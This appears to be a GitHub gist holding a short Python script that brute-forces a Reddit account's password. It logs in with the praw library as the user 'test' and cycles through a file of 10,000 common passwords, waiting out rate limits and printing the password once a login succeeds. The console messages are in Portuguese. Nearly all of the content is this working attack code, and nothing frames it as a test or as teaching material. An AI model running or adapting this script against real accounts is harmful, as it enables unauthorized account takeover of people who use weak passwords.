Skip to content

Instantly share code, notes, and snippets.

@dvl
Created April 3, 2015 03:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dvl/c65ad82d4bafab7800c4 to your computer and use it in GitHub Desktop.
Save dvl/c65ad82d4bafab7800c4 to your computer and use it in GitHub Desktop.
# -*- coding: utf-8 -*-
import time
import praw
from praw.errors import InvalidUserPass, RateLimitExceeded
bot = praw.Reddit('bf monitor')
username = 'test'
def get_password():
with open('10k-common-passwords.txt', 'r') as f:
for line in f:
yield line.strip('\n')
password_list = get_password()
password = next(password_list)
while True:
try:
print 'Tentando senha: {}'.format(password)
bot.login(username, password)
except InvalidUserPass:
try:
password = next(password_list)
except StopIteration:
print 'Fim da lista de senhas'
break
except RateLimitExceeded as e:
print 'Limite atingido, próxima tentativa em {}s'.format(e.sleep_time)
time.sleep(e.sleep_time)
else:
print 'Senha encontrada: {}'.format(password)
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment